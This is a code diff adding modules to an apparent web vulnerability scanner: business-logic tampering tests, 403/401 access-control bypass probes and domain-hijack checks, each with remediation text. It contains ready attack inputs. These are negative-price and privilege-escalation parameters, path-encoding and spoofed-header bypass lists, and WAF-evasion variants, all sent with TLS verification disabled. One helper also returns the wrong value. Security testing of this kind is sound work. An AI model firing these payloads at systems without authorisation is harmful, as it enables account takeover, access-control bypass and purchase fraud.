+ f" Type: {HIJACK_RISK.get(rtype, {}).get('desc', rtype)}\n"
153
+ f" Indicators:\n" + "\n".join(f" - {i}" for i in indicators)
154
+ ),
155
+ remediation=(
156
+ "Remove or replace the resource. For critical JS/CSS/fonts, "
157
+ "self-host or use a integrity-managed CDN (SRI). "
158
+ "Monitor external dependencies for expiration."
159
+ ),
160
+ evidence=f"Resource URL: {url}\n" + "\n".join(indicators),
161
+ payload="",
162
+ request_details=f"GET {url}",
163
+ response_details=f"HTTP {status}, body length {len(body or '')}",
164
+ confidence="Confirmed" if base_weight >= 4 else "High",
165
+ )
166
+
167
+ def _probe_resource(self, url: str) -> tuple[int | None, str | None, bool]:
168
+ try:
169
+ body, code = self._make_request(url, timeout=6)
170
+ if code and code < 400 and body:
171
+ return code, body, True
172
+ return code, body, False
173
+ except Exception:
174
+ return None, None, False
175
+
176
+ def _check_unregistered_domains(self):
177
+ domains = set()
178
+ for res in self._resources:
179
+ host = urlparse(res["url"]).hostname
180
+ if host:
181
+ domains.add(host)
182
+ for domain in domains:
183
+ nx = self._check_nxdomain(domain)
184
+ if nx:
185
+ desc = "NXDOMAIN — domain not registered" if nx == "nxdomain" else f"CNAME to vulnerable service ({self._get_cname(domain)})"
186
+ cvss = 5.3 if nx == "nxdomain" else 7.5
187
+ self.add_vuln(
188
+ title=f"Expired External Domain — {domain}",
189
+ severity="High" if nx == "takeover_candidate" else "Medium",
190
+ category="Broken Link Hijacking",
191
+ cvss_score=cvss,
192
+ description=f"External domain {domain} referenced by page resources: {desc}. Attacker can register this domain and serve malicious content.",
193
+ remediation="Remove references to this domain or ensure it remains registered and controlled.",
194
+ evidence=f"Domain: {domain}\nDNS result: {desc}",
195
+ confidence="High",
196
+ )
197
+
198
+ def _check_nxdomain_resources(self):
199
+ pass
200
+
201
+ def _check_nxdomain(self, hostname: str) -> str | None:
202
+ hostname = hostname.lower().strip()
203
+ try:
204
+ socket.getaddrinfo(hostname, 80, socket.AF_INET)
205
+ cname = self._get_cname(hostname)
206
+ if cname:
207
+ for sig in COMMON_CNAME_TAKEOVER_SIGNATURES:
208
+ if sig in cname:
209
+ return "takeover_candidate"
210
+ return self.vulns
211
+ except socket.gaierror:
212
+ pass
213
+ try:
214
+ socket.getaddrinfo(hostname, 80, socket.AF_INET6)
215
+ return self.vulns
216
+ except socket.gaierror:
217
+ return "nxdomain"
218
+
219
+ def _get_cname(self, hostname: str) -> str:
220
+ try:
221
+ result = socket.getaddrinfo(hostname, 80, socket.AF_INET)
222
+ for res in result:
223
+ canon = res[3]
224
+ if canon and canon != hostname and not canon.startswith("("):
225
+ return canon
226
+ except Exception:
227
+ pass
228
+ return ""
229
+
230
+ def _get_extension(self, url: str) -> str:
231
+ path = urlparse(url).path.lower()
232
+ match = re.search(r'(\.[a-z0-9]+)(?:\?|#|$)', path)
233
+ return match.group(1) if match else ""
234
+
235
+ def _is_expired_landing(self, body: str | None) -> bool:
236
+ if not body:
237
+ return False
238
+ body_lower = body.lower()
239
+ matches = sum(1 for ind in EXPIRED_REGISTRAR_INDICATORS if ind in body_lower)
240
+ return matches >= 2
241
+
242
+ def _severity_from_weight(self, w: int) -> str:
243
+ if w >= 5:
244
+ return "Critical"
245
+ if w >= 4:
246
+ return "High"
247
+ if w >= 3:
248
+ return "Medium"
249
+ return "Low"
250
+
251
+ def _cvss_from_weight(self, weight: int, indicators: int, is_js: bool) -> float:
252
+ base = 3.0 + weight * 1.2
253
+ if is_js:
254
+ base += 1.5
255
+ base += indicators * 0.3
256
+ return round(min(base, 10.0), 1)
backend/scanners/business_logic_scanner.py ADDED
@@ -0,0 +1,493 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ business_logic_scanner.py — Business Logic Vulnerability Scanner
3
+ ================================================================
4
+ Advanced business logic flaw detection module.
5
+
6
+ This scanner:
7
+ 1. Tests for coupon abuse and discount manipulation
8
+ 2. Detects privilege escalation through business logic
9
+ 3. Tests for payment bypass and price manipulation
10
+ 4. Checks for workflow bypass vulnerabilities
11
+ 5. Tests for parameter tampering in business processes
12
+ 6. Detects race conditions in business transactions
13
+ """
14
+ import urllib.request, urllib.error, urllib.parse, ssl, re, json
15
+ from scanners.base_scanner import BaseScanner
16
+ from utils.differential import DifferentialAnalyzer, ParameterMutationTester
17
+
18
+ # ──────────────────────────────────────────────────────────────────────
19
+ # Business Logic Test Patterns
20
+ # ──────────────────────────────────────────────────────────────────────
21
+ BUSINESS_LOGIC_ENDPOINTS = [
22
+ "/api/cart",
23
+ "/api/checkout",
24
+ "/api/purchase",
25
+ "/api/order",
26
+ "/api/payment",
27
+ "/api/coupon",
28
+ "/api/discount",
29
+ "/api/redeem",
30
+ "/api/transfer",
31
+ "/api/withdraw",
32
+ "/api/deposit",
33
+ "/api/vote",
34
+ "/api/like",
35
+ "/api/follow",
36
+ "/api/subscribe",
37
+ "/api/unsubscribe",
38
+ ]
39
+
40
+ # Price manipulation payloads
41
+ PRICE_MANIPULATION_PAYLOADS = [
42
+ {"price": "-100"},
43
+ {"price": "0"},
44
+ {"price": "0.01"},
45
+ {"price": "999999"},
46
+ {"amount": "-100"},
47
+ {"amount": "0"},
48
+ {"discount": "100"},
49
+ {"discount": "999"},
50
+ ]
51
+
52
+ # Coupon abuse payloads
53
+ COUPON_PAYLOADS = [
54
+ {"coupon": "TEST123"},
55
+ {"coupon": "ADMIN"},
56
+ {"coupon": "FREE"},
57
+ {"coupon": "100OFF"},
58
+ {"coupon": "UNLIMITED"},
59
+ {"coupon_code": "TEST123"},
60
+ {"promo_code": "FREE"},
61
+ ]
62
+
63
+ # Quantity manipulation payloads
64
+ QUANTITY_PAYLOADS = [
65
+ {"quantity": "-1"},
66
+ {"quantity": "0"},
67
+ {"quantity": "999999"},
68
+ {"qty": "-1"},
69
+ {"qty": "0"},
70
+ {"qty": "999999"},
71
+ ]
72
+
73
+ # ──────────────────────────────────────────────────────────────────────
74
+ # Scanner Implementation
75
+ # ──────────────────────────────────────────────────────────────────────
76
+ class BusinessLogicScanner(BaseScanner):
77
+ SCANNER_NAME = "Business Logic Vulnerability Scanner"
78
+
79
+ def __init__(self, scan_id, target, domain, **kwargs):
80
+ super().__init__(scan_id, target, domain, **kwargs)
81
+ self._ctx = ssl.create_default_context()
82
+ self._ctx.check_hostname = False
83
+ self._ctx.verify_mode = ssl.CERT_NONE
84
+ self._headers = {"User-Agent": "LarShield/2.0 Business Logic Scanner"}
85
+ if self.auth_headers:
86
+ self._headers.update(self.auth_headers)
87
+
88
+ self._tested_endpoints = 0
89
+ self._vulns_found = 0
90
+ self._differential = DifferentialAnalyzer()
91
+ self._mutation_tester = ParameterMutationTester(self._bl_mutation_req)
92
+
93
+ def _bl_mutation_req(self, url, params):
94
+ data = urllib.parse.urlencode(params).encode("utf-8")
95
+ body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8)
96
+ return body or "", status
97
+
98
+ def _get(self, url, timeout=8):
99
+ try:
100
+ req = urllib.request.Request(url, headers=self._headers)
101
+ with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
102
+ return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
103
+ except urllib.error.HTTPError as e:
104
+ body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
105
+ return body, e.code
106
+ except Exception as e:
107
+ self.log("ERROR", f"[BusinessLogic] _get error: {e}")
108
+ return "", 0
109
+
110
+ def _post(self, url, data, timeout=8):
111
+ try:
112
+ encoded = urllib.parse.urlencode(data).encode("utf-8")
113
+ req = urllib.request.Request(url, data=encoded, headers={
114
+ **self._headers,
115
+ "Content-Type": "application/x-www-form-urlencoded"
116
+ })
117
+ with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
118
+ return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
119
+ except urllib.error.HTTPError as e:
120
+ body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
121
+ return body, e.code
122
+ except Exception as e:
123
+ self.log("ERROR", f"[BusinessLogic] _post error: {e}")
124
+ return "", 0
125
+
126
+ def _test_price_manipulation(self, url):
127
+ """Test for price manipulation vulnerabilities."""
128
+ self.log("INFO", f"[Business Logic] Testing price manipulation on {url}")
129
+
130
+ # GAP-ADV: Concurrent execution
131
+ reqs = [{
132
+ "url": url, "method": "POST",
133
+ "data": urllib.parse.urlencode(payload).encode("utf-8"),
134
+ "headers": {"Content-Type": "application/x-www-form-urlencoded"},
135
+ "payload": payload
136
+ } for payload in PRICE_MANIPULATION_PAYLOADS]
137
+
138
+ results = self._make_async_requests(reqs)
139
+
140
+ for req_dict, body, status in results:
141
+ if not body: continue
142
+ payload = req_dict["payload"]
143
+
144
+ # Check if manipulation was successful
145
+ if status in [200, 201, 202] and any(
146
+ indicator in body.lower()
147
+ for indicator in ["success", "completed", "order confirmed", "payment successful"]
148
+ ):
149
+ self._vulns_found += 1
150
+ self.log("CRITICAL",
151
+ f"[Business Logic] Price manipulation successful! Payload: {payload}")
152
+
153
+ self.add_vuln(
154
+ title="Business Logic — Price Manipulation",
155
+ severity="Critical",
156
+ category="Business Logic",
157
+ cvss_score=9.8,
158
+ description=(
159
+ f"A price manipulation vulnerability was detected at {url}.\n"
160
+ f"Payload: {payload}\n"
161
+ "The application accepts manipulated prices without validation, "
162
+ "allowing attackers to purchase items for free or at reduced prices."
163
+ ),
164
+ remediation=(
165
+ "1. NEVER accept prices from client-side requests\n"
166
+ "2. Store prices server-side and reference by ID\n"
167
+ "3. Validate all monetary values on the server\n"
168
+ "4. Implement server-side price calculation\n"
169
+ "5. Add transaction monitoring for unusual pricing\n"
170
+ "6. Use payment gateway validation"
171
+ )
172
+ )
173
+ return True
174
+ return False
175
+
176
+ def _test_coupon_abuse(self, url):
177
+ """Test for coupon abuse vulnerabilities."""
178
+ self.log("INFO", f"[Business Logic] Testing coupon abuse on {url}")
179
+
180
+ reqs = [{
181
+ "url": url, "method": "POST",
182
+ "data": urllib.parse.urlencode(payload).encode("utf-8"),
183
+ "headers": {"Content-Type": "application/x-www-form-urlencoded"},
184
+ "payload": payload
185
+ } for payload in COUPON_PAYLOADS]
186
+
187
+ results = self._make_async_requests(reqs)
188
+
189
+ for req_dict, body, status in results:
190
+ if not body: continue
191
+ payload = req_dict["payload"]
192
+
193
+ # Check if coupon was accepted
194
+ if status in [200, 201] and any(
195
+ indicator in body.lower()
196
+ for indicator in ["discount applied", "coupon valid", "promo accepted", "success"]
197
+ ):
198
+ self._vulns_found += 1
199
+ self.log("WARNING",
200
+ f"[Business Logic] Coupon abuse possible! Payload: {payload}")
201
+
202
+ self.add_vuln(
203
+ title="Business Logic — Coupon Abuse",
204
+ severity="High",
205
+ category="Business Logic",
206
+ cvss_score=8.5,
207
+ description=(
208
+ f"A coupon abuse vulnerability was detected at {url}.\n"
209
+ f"Payload: {payload}\n"
210
+ "The application accepts invalid or guessable coupon codes, "
211
+ "allowing unauthorized discounts."
212
+ ),
213
+ remediation=(
214
+ "1. Implement one-time-use coupon codes\n"
215
+ "2. Use cryptographically secure coupon generation\n"
216
+ "3. Validate coupon ownership and usage limits\n"
217
+ "4. Monitor coupon usage patterns\n"
218
+ "5. Implement rate limiting on coupon attempts"
219
+ )
220
+ )
221
+ return True
222
+ return False
223
+
224
+ def _test_quantity_manipulation(self, url):
225
+ """Test for quantity manipulation vulnerabilities."""
226
+ self.log("INFO", f"[Business Logic] Testing quantity manipulation on {url}")
227
+
228
+ reqs = [{
229
+ "url": url, "method": "POST",
230
+ "data": urllib.parse.urlencode(payload).encode("utf-8"),
231
+ "headers": {"Content-Type": "application/x-www-form-urlencoded"},
232
+ "payload": payload
233
+ } for payload in QUANTITY_PAYLOADS]
234
+
235
+ results = self._make_async_requests(reqs)
236
+
237
+ for req_dict, body, status in results:
238
+ if not body: continue
239
+ payload = req_dict["payload"]
240
+
241
+ # Check if manipulation was successful
242
+ if status in [200, 201] and any(
243
+ indicator in body.lower()
244
+ for indicator in ["success", "added", "updated", "confirmed"]
245
+ ):
246
+ self._vulns_found += 1
247
+ self.log("WARNING",
248
+ f"[Business Logic] Quantity manipulation possible! Payload: {payload}")
249
+
250
+ self.add_vuln(
251
+ title="Business Logic — Quantity Manipulation",
252
+ severity="High",
253
+ category="Business Logic",
254
+ cvss_score=7.5,
255
+ description=(
256
+ f"A quantity manipulation vulnerability was detected at {url}.\n"
257
+ f"Payload: {payload}\n"
258
+ "The application accepts invalid quantities without validation."
259
+ ),
260
+ remediation=(
261
+ "1. Validate quantity ranges on the server\n"
262
+ "2. Implement minimum and maximum quantity limits\n"
263
+ "3. Check inventory levels before processing\n"
264
+ "4. Add server-side quantity validation\n"
265
+ "5. Monitor for unusual quantity patterns"
266
+ )
267
+ )
268
+ return True
269
+ return False
270
+
271
+ def _test_privilege_escalation(self, url):
272
+ """Test for privilege escalation through business logic."""
273
+ self.log("INFO", f"[Business Logic] Testing privilege escalation on {url}")
274
+
275
+ escalation_payloads = [
276
+ {"role": "admin"},
277
+ {"role": "administrator"},
278
+ {"role": "superuser"},
279
+ {"is_admin": "true"},
280
+ {"is_admin": "1"},
281
+ {"admin": "true"},
282
+ {"permissions": "all"},
283
+ {"access_level": "admin"},
284
+ ]
285
+
286
+ reqs = [{
287
+ "url": url, "method": "POST",
288
+ "data": urllib.parse.urlencode(payload).encode("utf-8"),
289
+ "headers": {"Content-Type": "application/x-www-form-urlencoded"},
290
+ "payload": payload
291
+ } for payload in escalation_payloads]
292
+
293
+ results = self._make_async_requests(reqs)
294
+
295
+ for req_dict, body, status in results:
296
+ if not body: continue
297
+ payload = req_dict["payload"]
298
+
299
+ # Check if escalation was successful
300
+ if status in [200, 201] and any(
301
+ indicator in body.lower()
302
+ for indicator in ["admin", "administrator", "success", "updated"]
303
+ ):
304
+ self._vulns_found += 1
305
+ self.log("CRITICAL",
306
+ f"[Business Logic] Privilege escalation possible! Payload: {payload}")
307
+
308
+ self.add_vuln(
309
+ title="Business Logic — Privilege Escalation",
310
+ severity="Critical",
311
+ category="Business Logic",
312
+ cvss_score=9.8,
313
+ description=(
314
+ f"A privilege escalation vulnerability was detected at {url}.\n"
315
+ f"Payload: {payload}\n"
316
+ "The application allows privilege escalation through parameter manipulation."
317
+ ),
318
+ remediation=(
319
+ "1. Never accept role/permission parameters from client\n"
320
+ "2. Store user roles server-side\n"
321
+ "3. Implement proper role-based access control\n"
322
+ "4. Validate all privilege changes\n"
323
+ "5. Use immutable session tokens\n"
324
+ "6. Audit privilege changes"
325
+ )
326
+ )
327
+ return True
328
+ return False
329
+
330
+ def _test_mutation_workflow(self, url):
331
+ self.log("INFO", f"[Business Logic] Testing parameter mutations on {url}")
332
+ base_params = {"id": "1", "action": "test", "status": "pending"}
333
+ mutations = [
334
+ {"name": "negative_quantity", "params": {"quantity": "-1"}},
335
+ {"name": "zero_price", "params": {"price": "0"}},
336
+ {"name": "negative_price", "params": {"price": "-100"}},
337
+ {"name": "overflow_amount", "params": {"amount": "999999999999"}},
338
+ {"name": "admin_role", "params": {"role": "admin"}},
339
+ {"name": "bypass_skip", "params": {"skip": "true"}},
340
+ {"name": "bypass_step", "params": {"step": "complete"}},
341
+ {"name": "bulk_discount", "params": {"discount": "100"}},
342
+ ]
343
+ results = self._mutation_tester.test(url, base_params, mutations)
344
+ for res in results:
345
+ if res.get("anomalous"):
346
+ self._vulns_found += 1
347
+ self.log("WARNING", f"[Business Logic] Anomalous mutation: {res['mutation']} status={res['status']} diff={res['length_diff_pct']}%")
348
+ self.add_vuln(
349
+ title=f"Business Logic — Anomalous Parameter Mutation ({res['mutation']})",
350
+ severity="High",
351
+ category="Business Logic",
352
+ cvss_score=7.5,
353
+ description=(
354
+ f"Parameter mutation '{res['mutation']}' at {url} "
355
+ f"produced an anomalous response (status: {res['status']}, "
356
+ f"length difference: {res['length_diff_pct']}%). "
357
+ "This may indicate a business logic vulnerability."
358
+ ),
359
+ remediation="Validate all input parameters server-side. Implement proper state machines for workflows. "
360
+ "Ensure negative values, zero values, and role parameters are rejected.",
361
+ cwe_ids=["CWE-840"],
362
+ owasp_category="A01:2021 – Broken Access Control",
363
+ )
364
+
365
+ def _test_workflow_bypass(self, url):
366
+ """Test for workflow bypass vulnerabilities."""
367
+ self.log("INFO", f"[Business Logic] Testing workflow bypass on {url}")
368
+
369
+ bypass_payloads = [
370
+ {"step": "complete"},
371
+ {"skip": "true"},
372
+ {"bypass": "true"},
373
+ {"status": "completed"},
374
+ {"approved": "true"},
375
+ {"verified": "true"},
376
+ ]
377
+
378
+ reqs = [{
379
+ "url": url, "method": "POST",
380
+ "data": urllib.parse.urlencode(payload).encode("utf-8"),
381
+ "headers": {"Content-Type": "application/x-www-form-urlencoded"},
382
+ "payload": payload
383
+ } for payload in bypass_payloads]
384
+
385
+ results = self._make_async_requests(reqs)
386
+
387
+ for req_dict, body, status in results:
388
+ if not body: continue
389
+ payload = req_dict["payload"]
390
+
391
+ # Check if bypass was successful
392
+ if status in [200, 201] and any(
393
+ indicator in body.lower()
394
+ for indicator in ["success", "completed", "approved", "verified"]
395
+ ):
396
+ self._vulns_found += 1
397
+ self.log("WARNING",
398
+ f"[Business Logic] Workflow bypass possible! Payload: {payload}")
399
+
400
+ self.add_vuln(
401
+ title="Business Logic — Workflow Bypass",
402
+ severity="High",
403
+ category="Business Logic",
404
+ cvss_score=8.0,
405
+ description=(
406
+ f"A workflow bypass vulnerability was detected at {url}.\n"
407
+ f"Payload: {payload}\n"
408
+ "The application allows skipping workflow steps through parameter manipulation."
409
+ ),
410
+ remediation=(
411
+ "1. Implement server-side workflow validation\n"
412
+ "2. Store workflow state server-side\n"
413
+ "3. Validate each step before allowing progression\n"
414
+ "4. Use state machines for complex workflows\n"
415
+ "5. Audit workflow transitions"
416
+ )
417
+ )
418
+ return True
419
+ return False
420
+
421
+ def _discover_business_logic_endpoints(self):
422
+ """Discover endpoints with business logic vulnerabilities using shared context."""
423
+ endpoints = []
424
+
425
+ try:
426
+ # GAP-ADV: Centralized context replaces redundant crawling
427
+ results = self.discovery_context or {}
428
+
429
+ # Check URLs for business logic patterns
430
+ for url_entry in results.get("urls", []):
431
+ url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
432
+ for pattern in BUSINESS_LOGIC_ENDPOINTS:
433
+ if pattern in url.lower():
434
+ endpoints.append(url)
435
+ break
436
+
437
+ # Check forms for business logic fields
438
+ for form in results.get("forms", []):
439
+ action = form.get("action", "")
440
+ inputs = form.get("inputs", [])
441
+
442
+ # Check for business-related input names
443
+ for inp in inputs:
444
+ input_name = inp.get("name", "").lower()
445
+ if any(x in input_name for x in ["price", "amount", "quantity", "coupon", "discount", "role"]):
446
+ endpoints.append(action)
447
+ break
448
+
449
+ except Exception as e:
450
+ self.log("WARNING", f"[Business Logic] Error processing endpoints from context: {str(e)}")
451
+
452
+ return list(set(endpoints))
453
+
454
+ def run(self):
455
+ self.log("INFO", f"[Business Logic] Starting business logic vulnerability scanning on {self.target}...")
456
+
457
+ try:
458
+ # Step 1: Discover business logic endpoints
459
+ self.log("INFO", "[Business Logic] Discovering business logic endpoints...")
460
+ endpoints = self._discover_business_logic_endpoints()
461
+ self.log("INFO", f"[Business Logic] Found {len(endpoints)} business logic endpoint(s)")
462
+
463
+ if not endpoints:
464
+ self.log("INFO", "[Business Logic] No business logic endpoints detected")
465
+ return self.vulns
466
+
467
+ # Step 2: Test each endpoint
468
+ for url in endpoints[:15]: # Limit to 15 endpoints
469
+ self._tested_endpoints += 1
470
+ self.log("INFO", f"[Business Logic] Testing endpoint: {url}")
471
+
472
+ # Determine test type based on URL
473
+ if any(x in url.lower() for x in ["checkout", "purchase", "payment", "order"]):
474
+ self._test_price_manipulation(url)
475
+ elif any(x in url.lower() for x in ["coupon", "discount", "promo"]):
476
+ self._test_coupon_abuse(url)
477
+ elif any(x in url.lower() for x in ["cart", "quantity", "qty"]):
478
+ self._test_quantity_manipulation(url)
479
+ elif any(x in url.lower() for x in ["role", "admin", "user"]):
480
+ self._test_privilege_escalation(url)
481
+ else:
482
+ self._test_workflow_bypass(url)
483
+
484
+ self._test_mutation_workflow(url)
485
+
486
+ except Exception as e:
487
+ self.log("WARNING", f"[Business Logic] Unexpected error during scan: {str(e)}")
488
+
489
+ # Summary
490
+ self.log("SUCCESS" if not self.vulns else "WARNING",
491
+ f"[Business Logic] Complete — {self._tested_endpoints} endpoint(s) tested | "
492
+ f"{self._vulns_found} business logic vulnerability/vulnerabilities found")
493
+ return self.vulns
backend/scanners/bypass_403_scanner.py ADDED
@@ -0,0 +1,156 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ bypass_403_scanner.py — 403/401 Bypass Scanner
3
+ ================================================
4
+ Attempts to bypass access-denied responses using URL encoding tricks,
5
+ path normalization, header manipulation, and method switching.
6
+ """
7
+ import urllib.parse
8
+ from scanners.base_scanner import BaseScanner
9
+ from utils.evasion import waf_evade
10
+ from utils.callback import build_callback_url
11
+
12
+ PROTECTED_PATHS = [
13
+ "/admin", "/admin/", "/dashboard", "/config", "/secret",
14
+ "/api/admin", "/internal", "/private", "/backup",
15
+ "/management", "/.env", "/server-status",
16
+ ]
17
+
18
+
19
+ class Bypass403Scanner(BaseScanner):
20
+ SCANNER_NAME = "403/401 Bypass Scanner"
21
+ _SCANNER_KEY = "bypass_403"
22
+
23
+ def __init__(self, scan_id, target, domain, **kwargs):
24
+ super().__init__(scan_id, target, domain, **kwargs)
25
+
26
+ def run(self) -> list:
27
+ self.log("INFO", f"[403Bypass] Testing access control bypass techniques on {self.target}...")
28
+ base = self.target.rstrip("/")
29
+
30
+ for path in PROTECTED_PATHS:
31
+ baseline_status = self._get_status(base + path)
32
+ if baseline_status not in (401, 403):
33
+ continue
34
+
35
+ self.log("INFO", f"[403Bypass] Found protected path: {path} (HTTP {baseline_status})")
36
+ self._try_bypasses(base, path, baseline_status)
37
+
38
+ if not self.vulns:
39
+ self.log("SUCCESS", "[403Bypass] No 403/401 bypass vectors found.")
40
+ return self.vulns
41
+
42
+ def _try_bypasses(self, base, path, original_status):
43
+ bypasses = []
44
+
45
+ path_variants = [
46
+ path + "/",
47
+ path + "/.",
48
+ "/" + path.lstrip("/").replace("/", "//"),
49
+ path.replace("/", "/%2f"),
50
+ path.replace("/", "/./"),
51
+ "/." + path,
52
+ path + "%20",
53
+ path + "%09",
54
+ path + "..;/",
55
+ path + "/*",
56
+ path + "?.js",
57
+ path + ".json",
58
+ path + "/%2e/",
59
+ path.upper(),
60
+ path.lower().replace("/admin", "/Admin"),
61
+ path.replace("/", "/%2f/"),
62
+ path + "?x=1",
63
+ path + "#",
64
+ "/.." + path,
65
+ "/%2e%2e" + path,
66
+ path + "/..",
67
+ "/%23" + path,
68
+ "/%00" + path,
69
+ path.replace("/", "/%00/"),
70
+ path + ".html",
71
+ path + "/%20",
72
+ path + ";/",
73
+ path + "%252f",
74
+ "//" + path.lstrip("/"),
75
+ "/" + path.lstrip("/").replace("/", "/%20/"),
76
+ path.replace("/", "/%09/"),
77
+ ]
78
+ for variant in path_variants:
79
+ s = self._get_status(base + variant)
80
+ if s not in (401, 403, 404, 0):
81
+ bypasses.append({"method": f"Path variant: `{variant}`", "status": s})
82
+ for enc_name, enc_val in waf_evade(variant):
83
+ s2 = self._get_status(base + enc_val)
84
+ if s2 not in (401, 403, 404, 0):
85
+ bypasses.append({"method": f"Path variant (WAF evade): `{enc_val}`", "status": s2})
86
+
87
+ callback_url = build_callback_url("/403-bypass")
88
+ header_tricks = [
89
+ {"X-Original-URL": path},
90
+ {"X-Rewrite-URL": path},
91
+ {"X-Custom-IP-Authorization": "127.0.0.1"},
92
+ {"X-Forwarded-For": "127.0.0.1"},
93
+ {"X-Remote-IP": "127.0.0.1"},
94
+ {"X-Remote-Addr": "127.0.0.1"},
95
+ {"X-ProxyUser-Ip": "127.0.0.1"},
96
+ {"Client-IP": "127.0.0.1"},
97
+ {"X-Originating-IP": "127.0.0.1"},
98
+ {"X-Forwarded-For": "localhost"},
99
+ {"X-Real-IP": "127.0.0.1"},
100
+ {"X-Forwarded-Host": "localhost"},
101
+ {"X-Original-URL": path, "X-Forwarded-For": "127.0.0.1"},
102
+ {"X-Rewrite-URL": path, "X-Forwarded-For": "127.0.0.1"},
103
+ {"X-Forwarded-For": callback_url},
104
+ {"X-Forwarded-For": "127.0.0.1, 10.0.0.1"},
105
+ {"X-Forwarded-For": "2130706433"},
106
+ {"X-Forwarded-For": "0x7f000001"},
107
+ {"X-Original-URL": path, "X-Forwarded-For": "10.0.0.1"},
108
+ {"X-Rewrite-URL": path, "X-Forwarded-Host": "localhost"},
109
+ {"X-HTTP-Method-Override": "GET"},
110
+ {"X-HTTP-Method": "GET"},
111
+ {"X-Method-Override": "GET"},
112
+ ]
113
+ for hdrs in header_tricks:
114
+ s = self._get_status(base + "/", extra_headers=hdrs)
115
+ if s not in (401, 403, 404, 0):
116
+ header_key = list(hdrs.keys())[0]
117
+ header_val = list(hdrs.values())[0]
118
+ bypasses.append({"method": f"Header: `{header_key}: {header_val}`", "status": s})
119
+ for header_name in hdrs:
120
+ for enc_name, enc_val in waf_evade(header_name):
121
+ waf_hdrs = {enc_val: hdrs[header_name]}
122
+ s2 = self._get_status(base + "/", extra_headers=waf_hdrs)
123
+ if s2 not in (401, 403, 404, 0):
124
+ bypasses.append({"method": f"Header (WAF evade): `{enc_val}: {hdrs[header_name]}`", "status": s2})
125
+
126
+ for method in ["POST", "HEAD", "OPTIONS", "PUT", "DELETE", "PATCH", "TRACE", "CONNECT", "PROPFIND", "MOVE", "COPY", "MKCOL"]:
127
+ s = self._get_status(base + path, method=method)
128
+ if s not in (401, 403, 404, 0):
129
+ bypasses.append({"method": f"HTTP method: `{method}`", "status": s})
130
+
131
+ if bypasses:
132
+ self.add_vuln(
133
+ title=f"403/401 Access Control Bypass on `{path}`",
134
+ severity="High",
135
+ category="Access Control Bypass",
136
+ cvss_score=7.5,
137
+ description=f"Path `{path}` returned HTTP {original_status} normally, but the "
138
+ f"following techniques bypassed the restriction:\n\n" +
139
+ "\n".join(f"- {b['method']} → HTTP **{b['status']}**" for b in bypasses[:20]),
140
+ remediation="1. Implement access control at the application layer, not just the URL.\n"
141
+ "2. Normalize URLs before access control checks (strip ../, %2f, trailing dots).\n"
142
+ "3. Reject X-Original-URL and X-Rewrite-URL headers at the reverse proxy.\n"
143
+ "4. Never trust X-Forwarded-For or Client-IP for authorization decisions.",
144
+ evidence="\n".join(f"{b['method']} → {b['status']}" for b in bypasses[:20]),
145
+ confidence="High",
146
+ cwe_ids=["CWE-290"],
147
+ owasp_category="A01:2021 – Broken Access Control",
148
+ )
149
+ self.log("CRITICAL", f"[403Bypass] {len(bypasses)} bypass(es) found for {path}!")
150
+
151
+ def _get_status(self, url, method="GET", extra_headers=None):
152
+ headers = {}
153
+ if extra_headers:
154
+ headers.update(extra_headers)
155
+ body, status = self._make_request(url, method=method, headers=headers if headers else None)
156
+ return status
backend/scanners/cache_control_scanner.py ADDED
@@ -0,0 +1,69 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
